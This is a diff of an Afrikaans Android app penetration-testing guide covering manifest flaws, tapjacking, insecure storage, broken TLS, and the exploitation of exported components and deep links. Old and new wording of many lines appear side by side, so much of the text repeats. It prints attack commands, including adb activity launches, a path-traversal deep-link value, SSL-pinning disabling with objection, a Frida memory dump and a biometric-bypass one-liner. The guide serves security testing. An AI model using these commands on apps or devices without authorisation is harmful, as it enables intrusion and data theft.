- **Debugbare Toepassings**: Toepassings wat as debuggable (`debuggable="true"`) in die _Manifest.xml_ lêer ingestel is, stel 'n risiko in omdat dit verbindings toelaat wat tot uitbuiting kan lei. Vir verdere begrip oor hoe om debuggable toepassings te benut, verwys na 'n tutoriaal oor die vind en benutting van debuggable toepassings op 'n toestel.
- **Back-up Instellings**: Die `android:allowBackup="false"` attribuut moet eksplisiet ingestel word vir toepassings wat met sensitiewe inligting werk om ongeoorloofde data-back-ups via adb te voorkom, veral wanneer usb-debugging geaktiveer is.
- **Netwerk Sekuriteit**: Aangepaste netwerk sekuriteit konfigurasies (`android:networkSecurityConfig="@xml/network_security_config"`) in _res/xml/_ kan sekuriteitsbesonderhede soos sertifikaat pins en HTTP-verkeer instellings spesifiseer. 'n Voorbeeld is om HTTP-verkeer vir spesifieke domeine toe te laat.
- **Gedeelde Aktiwiteite en Dienste**: Die identifisering van gedeelde aktiwiteite en dienste in die manifest kan komponente uitlig wat misbruik kan word. Verdere analise tydens dinamiese toetsing kan onthul hoe om hierdie komponente te benut.
- **Inhoud Verskaffers en LêerVerskaffers**: Blootgestelde inhoud verskaffers kan ongeoorloofde toegang of wysiging van data toelaat. Die konfigurasie van LêerVerskaffers moet ook ondersoek word.
- **Uitsaai Ontvangers en URL Skemas**: Hierdie komponente kan benut word vir uitbuiting, met spesiale aandag aan hoe URL skemas bestuur word vir invoer kw vulnerabilities.
- **Uitsending Ontvangers en URL Skemas**: Hierdie komponente kan benut word vir uitbuiting, met spesiale aandag aan hoe URL skemas bestuur word vir invoer kw vulnerabilities.
- **SDK Weergawes**: Die `minSdkVersion`, `targetSDKVersion`, en `maxSdkVersion` attribuut dui die ondersteunde Android weergawes aan, wat die belangrikheid beklemtoon om nie verouderde, kwesbare Android weergawes vir sekuriteitsredes te ondersteun nie.
Uit die **strings.xml** lêer kan sensitiewe inligting soos API sleutels, pasgemaakte skemas, en ander ontwikkelaar notas ontdek word, wat die behoefte aan sorgvuldige hersiening van hierdie hulpbronne beklemtoon.
Uit die **strings.xml** lêer kan sensitiewe inligting soos API sleutels, aangepaste skemas, en ander ontwikkelaar notas ontdek word, wat die behoefte aan sorgvuldige hersiening van hierdie hulpbronne beklemtoon.
### Tapjacking
**Tapjacking** is 'n aanval waar 'n **kwaadwillige** **toepassing** gelanseer word en **homself bo 'n slagoffer toepassing posisioneer**. Sodra dit die slagoffer app sigbaar obscures, is sy gebruikerskoppelvlak ontwerp om die gebruiker te mislei om met dit te interaksie, terwyl dit die interaksie aan die slagoffer app oorgedra.\
In werklikheid, dit is **blindings die gebruiker van weet dat hulle eintlik aksies op die slagoffer app uitvoer**.
In werklikheid, dit is **blind die gebruiker van weet dat hulle eintlik aksies op die slagoffer app uitvoer**.
Vind meer inligting in:
@ -96,7 +100,7 @@ tapjacking.md
### Taak Hijacking
'n **aktiwiteit** met die **`launchMode`** gestel op **`singleTask` sonder enige `taskAffinity`** gedefinieer is kwesbaar vir taak hijacking. Dit beteken dat 'n **toepassing** geïnstalleer kan word en as dit voor die werklike toepassing gelanseer word, kan dit **die taak van die werklike toepassing oorneem** (sodat die gebruiker met die **kwaadwillige toepassing interaksie het terwyl hy dink hy gebruik die werklike een**).
'n **aktiwiteit** met die **`launchMode`** ingestel op **`singleTask`** sonder enige `taskAffinity` gedefinieer is kwesbaar vir taak hijacking. Dit beteken dat 'n **toepassing** geïnstalleer kan word en as dit voor die werklike toepassing gelanseer word, kan dit **die taak van die werklike toepassing oorneem** (sodat die gebruiker met die **kwaadwillige toepassing interaksie het terwyl hy dink hy gebruik die werklike een**).
Meer inligting in:
@ -108,12 +112,12 @@ android-task-hijacking.md
**Interne Stoor**
In Android, lêers **gestoor** in **interne** stoor is **ontwerp** om **uitsluitend** deur die **app** wat hulle **gecreëer** het, **toeganklik** te wees. Hierdie sekuriteitsmaatreël word **afgedwing** deur die Android bedryfstelsel en is oor die algemeen voldoende vir die sekuriteitsbehoeftes van die meeste toepassings. Tog gebruik ontwikkelaars soms modi soos `MODE_WORLD_READABLE` en `MODE_WORLD_WRITABLE` om **toestaan** dat lêers tussen verskillende toepassings **gedeel** kan word. Tog, hierdie modi **beperk nie toegang** tot hierdie lêers deur ander toepassings nie, insluitend potensieel kwaadwillige.
In Android, lêers **gestoor** in **interne** stoor is **ontwerp** om **uitsluitend** deur die **app** wat hulle **gecreëer** het, toeganklik te wees. Hierdie sekuriteitsmaatreël word **afgedwing** deur die Android-bedryfstelsel en is oor die algemeen voldoende vir die sekuriteitsbehoeftes van die meeste toepassings. Tog gebruik ontwikkelaars soms modi soos `MODE_WORLD_READABLE` en `MODE_WORLD_WRITABLE` om **toestaan** dat lêers tussen verskillende toepassings **gedeel** kan word. Tog **beperk** hierdie modi **nie die toegang** tot hierdie lêers deur ander toepassings nie, insluitend potensieel kwaadwillige.
1. **Statiese Analise:**
- **Verseker** dat die gebruik van `MODE_WORLD_READABLE` en `MODE_WORLD_WRITABLE` **versigtig ondersoek** word. Hierdie modi **kan potensieel lêers blootstel aan** **onbedoelde of ongeoorloofde toegang**.
2. **Dinamiese Analise:**
- **Verifieer** die **toestemmings** wat op lêers wat deur die app geskep is, gestel is. Spesifiek, **kyk** of enige lêers **gestel is om wêreldwyd leesbaar of skryfbaar te wees**. Dit kan 'n beduidende sekuriteitsrisiko inhou, aangesien dit **enige toepassing** wat op die toestel geïnstalleer is, ongeag sy oorsprong of bedoeling, toelaat om **hierdie lêers te lees of te wysig**.
- **Verifieer** die **toestemmings** wat op lêers wat deur die app geskep is, ingestel is. Spesifiek, **kyk** of enige lêers **gestel is om wêreldwyd leesbaar of skryfbaar te wees**. Dit kan 'n beduidende sekuriteitsrisiko inhou, aangesien dit **enige toepassing** wat op die toestel geïnstalleer is, ongeag sy oorsprong of bedoeling, toelaat om **hierdie lêers te lees of te wysig**.
**Eksterne Stoor**
@ -122,43 +126,43 @@ Wanneer jy met lêers op **eksterne stoor** werk, soos SD Kaart, moet sekere voo
1. **Toeganklikheid**:
- Lêers op eksterne stoor is **globaal leesbaar en skryfbaar**. Dit beteken enige toepassing of gebruiker kan toegang tot hierdie lêers verkry.
2. **Sekuriteitskwesties**:
- Gegewe die maklike toegang, word dit aanbeveel **om nie sensitiewe inligting** op eksterne stoor te stoor nie.
- Eksterne stoor kan verwyder of deur enige toepassing toeganklik gemaak word, wat dit minder veilig maak.
- Gegewe die maklike toegang, word dit aanbeveel **om sensitiewe inligting nie op eksterne stoor te stoor nie**.
- Eksterne stoor kan verwyder of deur enige toepassing toegang verkry, wat dit minder veilig maak.
3. **Hantering van Data van Eksterne Stoor**:
- Voer altyd **invoer validasie** uit op data wat van eksterne stoor verkry is. Dit is van kardinale belang omdat die data van 'n onbetroubare bron kom.
- Dit word sterk ontmoedig om uitvoerbare of klas lêers op eksterne stoor vir dinamiese laai te stoor.
- Dit word sterk ontmoedig om uitvoerbare lêers of klas lêers op eksterne stoor vir dinamiese laai te stoor.
- As jou toepassing uitvoerbare lêers van eksterne stoor moet verkry, verseker dat hierdie lêers **onderteken en kriptografies geverifieer** is voordat hulle dinamies gelaai word. Hierdie stap is van kardinale belang om die sekuriteitsintegriteit van jou toepassing te handhaaf.
Eksterne stoor kan **toegang verkry** in `/storage/emulated/0`, `/sdcard`, `/mnt/sdcard`
> [!TIP]
> Begin met Android 4.4 (**API 17**), het die SD kaart 'n gidsstruktuur wat **toegang van 'n app tot die gids wat spesifiek vir daardie app is, beperk**. Dit voorkom dat kwaadwillige toepassings lees- of skryftoegang tot 'n ander app se lêers verkry.
> Begin met Android 4.4 (**API 17**), het die SD-kaart 'n gidsstruktuur wat **toegang van 'n app tot die gids wat spesifiek vir daardie app is, beperk**. Dit voorkom dat kwaadwillige toepassings lees- of skryftoegang tot 'n ander app se lêers verkry.
**Sensitiewe data gestoor in duidelike teks**
- **Gedeelde voorkeure**: Android laat elke toepassing toe om maklik xml lêers in die pad `/data/data/<packagename>/shared_prefs/` te stoor en soms is dit moontlik om sensitiewe inligting in duidelike teks in daardie gids te vind.
- **Gedeelde voorkeure**: Android laat elke toepassing toe om maklik xml-lêers in die pad `/data/data/<packagename>/shared_prefs/` te stoor en soms is dit moontlik om sensitiewe inligting in duidelike teks in daardie gids te vind.
- **Databasisse**: Android laat elke toepassing toe om maklik sqlite databasisse in die pad `/data/data/<packagename>/databases/` te stoor en soms is dit moontlik om sensitiewe inligting in duidelike teks in daardie gids te vind.
### Gebroke TLS
**Aanvaar Alle Sertifikate**
Om een of ander rede aanvaar ontwikkelaars soms al die sertifikate selfs al stem die hostname nie ooreen met lyne kode soos die volgende nie:
Om een of ander rede aanvaar ontwikkelaars soms al die sertifikate, selfs al stem die gasheernaam nie ooreen met lyne kode soos die volgende nie:
```java
SSLSocketFactory sf = new cc(trustStore);
sf.setHostnameVerifier(SSLSocketFactory.ALLOW_ALL_HOSTNAME_VERIFIER);
```
'n Goeie manier om dit te toets, is om te probeer om die verkeer te vang met 'n proxy soos Burp sonder om Burp CA binne die toestel te magtig. Jy kan ook met Burp 'n sertifikaat vir 'n ander hostname genereer en dit gebruik.
'n Goeie manier om dit te toets, is om die verkeer te probeer vasvang met 'n proxy soos Burp sonder om Burp CA binne die toestel te magtig. Jy kan ook met Burp 'n sertifikaat vir 'n ander hostname genereer en dit gebruik.
### Gebroke Kriptografie
### Gebroke Kryptografie
**Swak Sleutelbestuurproses**
Sommige ontwikkelaars stoor sensitiewe data in die plaaslike stoor en enkripteer dit met 'n sleutel wat in die kode hardgecodeer/voorspelbaar is. Dit moet nie gedoen word nie, aangesien sommige omgekeerde ingenieurswese aanvallers kan toelaat om die vertroulike inligting te onttrek.
Sommige ontwikkelaars stoor sensitiewe data in die plaaslike stoor en enkripteer dit met 'n sleutel wat in die kode hardgecodeer of voorspelbaar is. Dit moet nie gedoen word nie, aangesien sommige omgekeerde ingenieurswese aanvallers kan toelaat om die vertroulike inligting te onttrek.
**Gebruik van Onveilige en/of Verouderde Algoritmes**
Ontwikkelaars moet nie **verouderde algoritmes** gebruik om **outorisering** **kontroles** uit te voer, **data** te **stoor** of **te stuur** nie. Sommige van hierdie algoritmes is: RC4, MD4, MD5, SHA1... As **hashes** gebruik word om wagwoorde te stoor, moet hashes wat **brute-force** **bestand** is, met sout gebruik word.
Ontwikkelaars moet nie **verouderde algoritmes** gebruik om autorisasie **kontroles** uit te voer, **data** te **stoor** of **te stuur** nie. Sommige van hierdie algoritmes is: RC4, MD4, MD5, SHA1... As **hashes** gebruik word om wagwoorde te stoor, moet hashes wat teen brute-force **weerstandig** is, met sout gebruik word.
### Ander kontroles
@ -190,7 +194,7 @@ Volgens hierdie [**blogpos**](https://clearbluejar.github.io/posts/desuperpackin
### Geoutomatiseerde Statiese Kode Analise
Die hulpmiddel [**mariana-trench**](https://github.com/facebook/mariana-trench) is in staat om **kwesbaarhede** te vind deur die **kode** van die toepassing te **skandeer**. Hierdie hulpmiddel bevat 'n reeks **bekende bronne** (wat aan die hulpmiddel die **plekke** aandui waar die **invoer** deur die gebruiker **beheer** word), **sinkholes** (wat aan die hulpmiddel **gevaarlike** **plekke** aandui waar kwaadwillige gebruikersinvoer skade kan aanrig) en **reëls**. Hierdie reëls dui die **kombinasie** van **bronne-sinkholes** aan wat 'n kwesbaarheid aandui.
Die hulpmiddel [**mariana-trench**](https://github.com/facebook/mariana-trench) is in staat om **kwesbaarhede** te vind deur die **kode** van die toepassing te **skandeer**. Hierdie hulpmiddel bevat 'n reeks **bekende bronne** (wat die hulpmiddel aandui waar die **invoer** deur die **gebruiker** **beheer** word), **sinkholes** (wat die hulpmiddel aandui waar **gevaarlike** **plekke** is waar kwaadwillige gebruikersinvoer skade kan aanrig) en **reëls**. Hierdie reëls dui die **kombinasie** van **bronne-sinkholes** aan wat 'n kwesbaarheid aandui.
Met hierdie kennis sal **mariana-trench die kode hersien en moontlike kwesbaarhede daarin vind**.
@ -198,7 +202,7 @@ Met hierdie kennis sal **mariana-trench die kode hersien en moontlike kwesbaarhe
'n Toepassing kan geheime (API-sleutels, wagwoorde, verborge URL's, subdomeine...) daarin bevat wat jy dalk kan ontdek. Jy kan 'n hulpmiddel soos [https://github.com/dwisiswant0/apkleaks](https://github.com/dwisiswant0/apkleaks) gebruik.
### Om Biometriese Outorisering te Omseil
### Om Biometriese Verifikasie te Omseil
{{#ref}}
bypass-biometric-authentication-android.md
@ -223,7 +227,7 @@ content-protocol.md
## Dinamiese Analise
> Eerstens, jy het 'n omgewing nodig waar jy die toepassing en al die omgewing (Burp CA sertifikaat, Drozer en Frida hoofsaaklik) kan installeer. Daarom is 'n ge-root toestel (geëmuleer of nie) uiters aanbeveel.
> Eerstens het jy 'n omgewing nodig waar jy die toepassing en al die omgewing (Burp CA sertifikaat, Drozer en Frida hoofsaaklik) kan installeer. Daarom is 'n ge-root toestel (geëmuleer of nie) uiters aanbeveel.
### Aanlyn Dinamiese analise
@ -246,17 +250,17 @@ Danksy die ADB-verbinding kan jy **Drozer** en **Frida** binne die emulators geb
avd-android-virtual-device.md
{{#endref}}
- [**Genymotion**](https://www.genymotion.com/fun-zone/) **(Gratis weergawe:** Persoonlike Uitgawe, jy moet 'n rekening skep. _Dit word aanbeveel om die weergawe **MET** _**VirtualBox** te **aflaai** om potensiële foute te vermy._)
- [**Genymotion**](https://www.genymotion.com/fun-zone/) **(Gratis weergawe:** Persoonlike Uitgawe, jy moet 'n rekening aanmeld. _Dit word aanbeveel om die weergawe **MET** _**VirtualBox** te **aflaai** om potensiële foute te vermy._)
- [**Nox**](https://es.bignox.com) (Gratis, maar dit ondersteun nie Frida of Drozer nie).
> [!TIP]
> Wanneer jy 'n nuwe emulator op enige platform skep, onthou dat hoe groter die skerm is, hoe stadiger sal die emulator loop. Kies dus klein skerms indien moontlik.
Om **Google dienste** (soos AppStore) in Genymotion te installeer, moet jy op die rooi gemerkte knoppie van die volgende beeld klik:
Om **Google-dienste** (soos AppStore) in Genymotion te installeer, moet jy op die rooi gemerkte knoppie van die volgende beeld klik:
![](<../../images/image (277).png>)
Let ook daarop dat jy in die **konfigurasie van die Android VM in Genymotion** **Bridge Network mode** kan kies (dit sal nuttig wees as jy aan die Android VM van 'n ander VM met die gereedskap sal verbind).
Let ook daarop dat jy in die **konfigurasie van die Android VM in Genymotion** **Bridge Network mode** kan kies (dit sal nuttig wees as jy aan die Android VM wil koppel vanaf 'n ander VM met die hulpmiddels).
#### Gebruik 'n fisiese toestel
@ -268,17 +272,17 @@ Jy moet die **debugging** opsies aktiveer en dit sal goed wees as jy dit kan **r
4. Druk **Bou nommer** 7 keer.
5. Gaan terug en jy sal die **Ontwikkelaar opsies** vind.
> Sodra jy die toepassing geïnstalleer het, is die eerste ding wat jy moet doen, om dit te probeer en te ondersoek wat dit doen, hoe dit werk en om gemaklik daarmee te raak.\
> Sodra jy die toepassing geïnstalleer het, is die eerste ding wat jy moet doen om dit te probeer en te ondersoek wat dit doen, hoe dit werk en om gemaklik daarmee te raak.\
> Ek sal voorstel om **hierdie aanvanklike dinamiese analise uit te voer met MobSF dinamiese analise + pidcat**, sodat ons kan **leer hoe die toepassing werk** terwyl MobSF **'n klomp** **interessante** **data** vasvang wat jy later kan hersien.
### Onbedoelde Data Lek
**Logging**
Ontwikkelaars moet versigtig wees om **debugging inligting** publiek bloot te stel, aangesien dit kan lei tot sensitiewe data lek. Die gereedskap [**pidcat**](https://github.com/JakeWharton/pidcat) en `adb logcat` word aanbeveel om toepassingslogs te monitor om sensitiewe inligting te identifiseer en te beskerm. **Pidcat** word verkies vir sy gebruiksgemak en leesbaarheid.
Ontwikkelaars moet versigtig wees om **debugging-inligting** publiek bloot te stel, aangesien dit kan lei tot sensitiewe data lek. Die hulpmiddels [**pidcat**](https://github.com/JakeWharton/pidcat) en `adb logcat` word aanbeveel om toepassingslogs te monitor om sensitiewe inligting te identifiseer en te beskerm. **Pidcat** word verkies vir sy gebruiksgemak en leesbaarheid.
> [!WARNING]
> Let daarop dat vanaf **later nuwer as Android 4.0**, **toepassings slegs toegang tot hul eie logs kan verkry**. So toepassings kan nie ander apps se logs toegang nie.\
> Let daarop dat vanaf **later nuwer as Android 4.0**, **toepassings slegs toegang het tot hul eie logs**. So toepassings kan nie ander apps se logs toegang nie.\
> Dit word steeds aanbeveel om **nie sensitiewe inligting te log nie**.
**Kopieer/plak Buffer Kaping**
@ -287,13 +291,13 @@ Android se **clipboard-gebaseerde** raamwerk stel kopieer-plak funksionaliteit i
**Crash Logs**
As 'n toepassing **crash** en **logs stoor**, kan hierdie logs aanvallers help, veral wanneer die toepassing nie omgekeerd kan word nie. Om hierdie risiko te verminder, moet jy vermy om te log op crashes, en as logs oor die netwerk oorgedra moet word, moet jy seker maak dat dit via 'n SSL-kanaal vir sekuriteit gestuur word.
As 'n toepassing **crash** en **logs stoor**, kan hierdie logs aanvallers help, veral wanneer die toepassing nie omgekeerd kan word nie. Om hierdie risiko te verminder, moet jy vermy om logs op crashes te log, en as logs oor die netwerk oorgedra moet word, moet jy seker maak dat dit via 'n SSL-kanaal vir sekuriteit gestuur word.
As pentester, **probeer om na hierdie logs te kyk**.
**Analytiese Data Gestuur Aan 3de Partye**
**Analitiese Data Gestuur Aan 3de Partye**
Toepassings integreer dikwels dienste soos Google Adsense, wat per ongeluk **sensitiewe data kan lek** as gevolg van onvanpaste implementering deur ontwikkelaars. Om potensiële data lek te identifiseer, is dit raadsaam om **die toepassing se verkeer te onderskep** en na te gaan of enige sensitiewe inligting aan derdeparty dienste gestuur word.
Toepassings integreer dikwels dienste soos Google Adsense, wat per ongeluk **sensitiewe data kan lek** as gevolg van onvanpaste implementering deur ontwikkelaars. Om potensiële data lek te identifiseer, is dit raadsaam om **die toepassing se verkeer te onderskep** en te kyk vir enige sensitiewe inligting wat aan derdeparty dienste gestuur word.
### SQLite DB's
@ -314,9 +318,9 @@ Drozer is 'n nuttige hulpmiddel om **geëksporteerde aktiwiteite, geëksporteerd
[**Lees dit as jy wil verfris wat 'n Android Aktiwiteit is.**](android-applications-basics.md#launcher-activity-and-other-activities)\
Onthou ook dat die kode van 'n aktiwiteit begin in die **`onCreate`** metode.
**Outorisering omseiling**
**Autorisasie omseiling**
Wanneer 'n Aktiwiteit geëksporteer word, kan jy sy skerm vanaf 'n eksterne app aanroep. Daarom, as 'n aktiwiteit met **sensitiewe inligting** **geëksporteer** is, kan jy die **outorisering** meganismes **omseil** om toegang daartoe te verkry.
Wanneer 'n Aktiwiteit geëksporteer word, kan jy sy skerm vanaf 'n eksterne app aanroep. Daarom, as 'n aktiwiteit met **sensitiewe inligting** **geëksporteer** is, kan jy die **authentikasie** meganismes **omseil** om toegang daartoe te verkry.
[**Leer hoe om geëksporteerde aktiwiteite met Drozer te eksploiteer.**](drozer-tutorial/index.html#activities)
@ -327,46 +331,46 @@ Jy kan ook 'n geëksporteerde aktiwiteit vanaf adb begin:
```bash
adb shell am start -n com.example.demo/com.example.test.MainActivity
```
**NOTE**: MobSF sal die gebruik van _**singleTask/singleInstance**_ as `android:launchMode` in 'n aktiwiteit as kwaadwillig beskou, maar weens [this](https://github.com/MobSF/Mobile-Security-Framework-MobSF/pull/750), blyk dit dat dit slegs gevaarlik is op ouer weergawes (API weergawes < 21).
**NOTA**: MobSF sal die gebruik van _**singleTask/singleInstance**_ as `android:launchMode` in 'n aktiwiteit as kwaadwillig beskou, maar weens [dit](https://github.com/MobSF/Mobile-Security-Framework-MobSF/pull/750), blyk dit dat dit slegs gevaarlik is op ouer weergawes (API weergawes < 21).
> [!TIP]
> Let daarop dat 'n magtiging omseiling nie altyd 'n kwesbaarheid is nie, dit sal afhang van hoe die omseiling werk en watter inligting blootgestel word.
**Sensitiewe inligting lekkasie**
**Gevoelige inligting lekkasie**
**Aktiwiteite kan ook resultate teruggee**. As jy daarin slaag om 'n geexporteerde en onbeveiligde aktiwiteit te vind wat die **`setResult`** metode aanroep en **sensitiewe inligting teruggee**, is daar 'n sensitiewe inligting lekkasie.
**Aktiwiteite kan ook resultate teruggee**. As jy daarin slaag om 'n geexporteerde en onbeveiligde aktiwiteit te vind wat die **`setResult`** metode aanroep en **gevoelige inligting teruggee**, is daar 'n lekkasie van gevoelige inligting.
#### Tapjacking
As tapjacking nie voorkom word nie, kan jy die geexporteerde aktiwiteit misbruik om die **gebruiker onverwachte aksies** te laat uitvoer. Vir meer inligting oor [**wat is Tapjacking volg die skakel**](#tapjacking).
### Exploiting Content Providers - Toegang tot en manipulasie van sensitiewe inligting
### Exploiteer Inhoudverskaffers - Toegang tot en manipulasie van gevoelige inligting
[**Lees dit as jy wil verfris wat 'n Content Provider is.**](android-applications-basics.md#content-provider)\
Inhoudverskaffers word basies gebruik om **data** te **deel**. As 'n app beskikbare inhoudverskaffers het, mag jy in staat wees om **sensitiewe** data daaruit te **onttrek**. Dit is ook interessant om moontlike **SQL-inspuitings** en **Path Traversals** te toets, aangesien hulle kwesbaar kan wees.
[**Lees dit as jy wil verfris wat 'n Inhoudverskaffer is.**](android-applications-basics.md#content-provider)\
Inhoudverskaffers word basies gebruik om **data** te **deel**. As 'n app beskikbare inhoudverskaffers het, mag jy in staat wees om **gevoelige** data daaruit te **onttrek**. Dit is ook interessant om moontlike **SQL-inspuitings** en **Pad Traversals** te toets aangesien hulle kwesbaar kan wees.
[**Leer hoe om Content Providers met Drozer te exploiteer.**](drozer-tutorial/index.html#content-providers)
[**Leer hoe om Inhoudverskaffers met Drozer te exploiteer.**](drozer-tutorial/index.html#content-providers)
### **Exploiting Services**
### **Exploiteer Dienste**
[**Lees dit as jy wil verfris wat 'n Service is.**](android-applications-basics.md#services)\
Onthou dat die aksies van 'n Service begin in die metode `onStartCommand`.
[**Lees dit as jy wil verfris wat 'n Diens is.**](android-applications-basics.md#services)\
Onthou dat die aksies van 'n Diens begin in die metode `onStartCommand`.
Aangesien 'n diens basies iets is wat **data kan ontvang**, dit **verwerk** en **teruggee** (of nie) 'n antwoord. As 'n toepassing sekere dienste exporteer, moet jy die **kode** nagaan om te verstaan wat dit doen en dit **dynamies** toets om vertroulike inligting te onttrek, magtiging maatreëls te omseil...\
'n Diens is basies iets wat **data kan ontvang**, dit **verwerk** en **gee** (of nie) 'n antwoord terug. As 'n toepassing sekere dienste exporteer, moet jy die **kode** nagaan om te verstaan wat dit doen en dit **dynamies** toets om vertroulike inligting te onttrek, magtiging maatreëls te omseil...\
[**Leer hoe om Dienste met Drozer te exploiteer.**](drozer-tutorial/index.html#services)
### **Exploiting Broadcast Receivers**
### **Exploiteer Uitsendingsontvangers**
[**Lees dit as jy wil verfris wat 'n Broadcast Receiver is.**](android-applications-basics.md#broadcast-receivers)\
Onthou dat die aksies van 'n Broadcast Receiver begin in die metode `onReceive`.
[**Lees dit as jy wil verfris wat 'n Uitsendingsontvanger is.**](android-applications-basics.md#broadcast-receivers)\
Onthou dat die aksies van 'n Uitsendingsontvanger begin in die metode `onReceive`.
'n Uitzending ontvanger sal wag vir 'n tipe boodskap. Afhangende van hoe die ontvanger die boodskap hanteer, kan dit kwesbaar wees.\
[**Leer hoe om Uitzending Ontvangers met Drozer te exploiteer.**](#exploiting-broadcast-receivers)
'n Uitsendingsontvanger sal wag vir 'n tipe boodskap. Afhangende van hoe die ontvanger die boodskap hanteer, kan dit kwesbaar wees.\
[**Leer hoe om Uitsendingsontvangers met Drozer te exploiteer.**](#exploiting-broadcast-receivers)
### **Exploiting Schemes / Deep links**
### **Exploiteer Skemas / Diep skakels**
Jy kan handmatig na diep skakels soek, met behulp van gereedskap soos MobSF of skripte soos [this one](https://github.com/ashleykinguk/FBLinkBuilder/blob/master/FBLinkBuilder.py).\
Jy kan 'n verklaarde **skema** met **adb** of 'n **blaaier** **oopmaak**:
Jy kan handmatig na diep skakels soek, met behulp van gereedskap soos MobSF of skripte soos [hierdie een](https://github.com/ashleykinguk/FBLinkBuilder/blob/master/FBLinkBuilder.py).\
Jy kan 'n verklaarde **skema** gebruik om **adb** of 'n **blaaier** te **open**:
```bash
adb shell am start -a android.intent.action.VIEW -d "scheme://hostname/path?param=value" [your.package.name]
```
@ -385,11 +389,11 @@ Om die **kode wat in die App uitgevoer sal word** te vind, gaan na die aktiwitei
**Sensitiewe inligting**
Elke keer as jy 'n diep skakel vind, moet jy seker maak dat **dit nie sensitiewe data (soos wagwoorde) via URL parameters ontvang nie**, want enige ander toepassing kan **die diep skakel naboots en daardie data steel!**
Elke keer as jy 'n diep link vind, moet jy seker maak dat **dit nie sensitiewe data (soos wagwoorde) via URL parameters ontvang nie**, want enige ander toepassing kan **die diep link naboots en daardie data steel!**
**Parameters in pad**
Jy **moet ook kyk of enige diep skakel 'n parameter binne die pad** van die URL gebruik, soos: `https://api.example.com/v1/users/{username}`, in daardie geval kan jy 'n pad traversie afdwing deur iets soos: `example://app/users?username=../../unwanted-endpoint%3fparam=value` te benader.\
Jy **moet ook kyk of enige diep link 'n parameter binne die pad** van die URL gebruik, soos: `https://api.example.com/v1/users/{username}`, in daardie geval kan jy 'n pad traversie afdwing deur iets soos: `example://app/users?username=../../unwanted-endpoint%3fparam=value` te benader.\
Let daarop dat as jy die korrekte eindpunte binne die toepassing vind, jy dalk 'n **Open Redirect** kan veroorsaak (as 'n deel van die pad as domeinnaam gebruik word), **rekening oorname** (as jy gebruikersbesonderhede kan wysig sonder 'n CSRF-token en die kwesbare eindpunt die korrekte metode gebruik) en enige ander kwesbaarheid. Meer [inligting hieroor](http://dphoeniixx.com/2020/12/13-2/).
**Meer voorbeelde**
@ -412,7 +416,7 @@ SSL Pinning is 'n sekuriteitsmaatreël waar die toepassing die bediener se serti
#### Verkeer Inspeksie
Om HTTP-verkeer te inspekteer, is dit nodig om die **proxy-gereedskap se sertifikaat** (bv. Burp) te **installeer**. Sonder om hierdie sertifikaat te installeer, mag geënkripteerde verkeer nie deur die proxy sigbaar wees nie. Vir 'n gids oor die installering van 'n aangepaste CA-sertifikaat, [**klik hier**](avd-android-virtual-device.md#install-burp-certificate-on-a-virtual-machine).
Om HTTP-verkeer te inspekteer, is dit nodig om die **proxy gereedskap se sertifikaat** (bv. Burp) te **installeer**. Sonder om hierdie sertifikaat te installeer, mag geënkripteerde verkeer nie deur die proxy sigbaar wees nie. Vir 'n gids oor die installering van 'n pasgemaakte CA-sertifikaat, [**klik hier**](avd-android-virtual-device.md#install-burp-certificate-on-a-virtual-machine).
Toepassings wat **API-vlak 24 en hoër** teiken, vereis wysigings aan die Netwerk Sekuriteit Konfigurasie om die proxy se CA-sertifikaat te aanvaar. Hierdie stap is krities vir die inspeksie van geënkripteerde verkeer. Vir instruksies oor die wysiging van die Netwerk Sekuriteit Konfigurasie, [**verwys na hierdie tutoriaal**](make-apk-accept-ca-certificate.md).
@ -426,11 +430,11 @@ Wanneer SSL Pinning geïmplementeer is, word dit noodsaaklik om dit te omseil om
- Jy kan **Frida** gebruik (hieronder bespreek) om hierdie beskerming te omseil. Hier is 'n gids om Burp+Frida+Genymotion te gebruik: [https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/](https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/)
- Jy kan ook probeer om **automaties SSL Pinning te omseil** met [**objection**](frida-tutorial/objection-tutorial.md)**:** `objection --gadget com.package.app explore --startup-command "android sslpinning disable"`
- Jy kan ook probeer om **automaties SSL Pinning te omseil** met **MobSF dinamiese analise** (hieronder verduidelik)
- As jy steeds dink dat daar sekere verkeer is wat jy nie opneem nie, kan jy probeer om **die verkeer na burp te stuur met iptables**. Lees hierdie blog: [https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62](https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62)
- As jy steeds dink dat daar sekere verkeer is wat jy nie opneem nie, kan jy probeer om die verkeer na burp te **stuur met iptables**. Lees hierdie blog: [https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62](https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62)
#### Soek na Algemene Web Kwesbaarhede
Dit is belangrik om ook te soek na algemene web kwesbaarhede binne die toepassing. Gedetailleerde inligting oor die identifisering en mitigering van hierdie kwesbaarhede val buite die omvang van hierdie opsomming, maar word elders uitgebreid behandel.
Dit is belangrik om ook te soek na algemene web kwesbaarhede binne die toepassing. Gedetailleerde inligting oor die identifisering en mitigering van hierdie kwesbaarhede is buite die omvang van hierdie opsomming, maar word elders uitgebreid behandel.
### Frida
@ -457,7 +461,7 @@ python3 fridump3.py -u <PID>
frida-ps -Uai
python3 fridump3.py -u "<Name>"
```
Dit sal die geheue in die ./dump gids dump, en daarin kan jy met iets soos grep:
Dit sal die geheue in die ./dump gids dump, en daarin kan jy grep met iets soos:
```bash
strings * | grep -E "^[a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+$"
```
@ -473,15 +477,15 @@ frida -U -f com.example.app -l frida-scripts/tracer-cipher.js
```
### **Vingerafdruk/Biometriese Omseiling**
Deur die volgende Frida-skrip te gebruik, kan dit moontlik wees om **vingerafdrukverifikasie** te **omseil** wat Android-toepassings mag uitvoer om **sekere sensitiewe areas te beskerm:**
Deur die volgende Frida-skrip te gebruik, kan dit moontlik wees om **vingerafdrukverifikasie** te omseil wat Android-toepassings mag uitvoer om **sekere sensitiewe areas te beskerm:**
```bash
frida --codeshare krapgras/android-biometric-bypass-update-android-11 -U -f <app.package>
```
### **Agtergrond Beelde**
